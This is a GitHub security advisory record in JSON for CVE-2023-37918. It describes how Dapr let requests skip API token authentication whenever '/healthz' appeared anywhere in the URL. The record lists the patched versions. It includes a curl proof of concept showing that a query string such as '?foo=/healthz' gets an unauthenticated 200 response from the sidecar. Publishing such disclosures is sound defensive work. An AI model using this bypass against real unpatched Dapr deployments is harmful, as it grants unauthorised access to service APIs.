CVE-2023-37918: Github.com/dapr/dapr Authentication Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-59m6-82qm-vqgj",
  "modified" : "2023-07-21T20:17:36Z",
  "published" : "2023-07-21T20:17:36Z",
  "aliases" : [ "CVE-2023-37918" ],
  "summary" : "Dapr API token authentication bypass in HTTP endpoints",
  "details" : "### Summary\n\n\nA vulnerability has been found in Dapr that allows bypassing [API token authentication](https://docs.dapr.io/operations/security/api-token/), which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.\n\n\nUsers who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.\n\n\n### Impact\n\n\nThis vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing.\n\n\n### Patches\n\n\nThe issue has been fixed in Dapr 1.10.9 and 1.11.2.\n\n\n### Details\n\n\nWhen API token authentication is enabled, Dapr requires all calls from applications to include the `dapr-api-token` header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the `/v1.0/healthz` and `/v1.0/healthz/outbound` HTTP APIs are excluded from the API token authentication check, and are always allowed.\n\n\nDapr <= 1.10.8 and <= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains `/healthz` to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.\n\n\nAs a consequence, attackers were able to bypass API token authentication by including `/healthz` anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.\n\n\n### Proof of Concept\n\n\n```\n$ curl -v http://localhost:3500/v1.0/metadata\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 401 Unauthorized\n< Date: Mon, 17 Jul 2023 18:13:13 GMT\n< Content-Type: text/plain; charset=utf-8\n< Content-Length: 17\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\ninvalid api token\n\n\n$ curl -v http://localhost:3500/v1.0/metadata -H \"dapr-api-token: mytoken\"\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n> dapr-api-token: mytoken\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 17 Jul 2023 18:13:26 GMT\n< Content-Type: application/json\n< Content-Length: 119\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n\n\n$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata?foo=/healthz HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 17 Jul 2023 18:13:44 GMT\n< Content-Type: application/json\n< Content-Length: 119\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dapr/dapr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.11.0"
      }, {
        "fixed" : "1.11.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dapr/dapr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.10.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dapr/dapr/security/advisories/GHSA-59m6-82qm-vqgj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-37918"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dapr/dapr/commit/83ca1abb11ffe34211db55dcd36d96b94252827a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dapr/dapr/commit/99d6799c97b79397443c8c96737c9b893126a1ae"
  }, {
    "type" : "WEB",
    "url" : "https://docs.dapr.io/operations/security/api-token"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dapr/dapr"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-305" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-07-21T20:17:36Z",
    "nvd_published_at" : "2023-07-21T21:15:11Z"
  }
}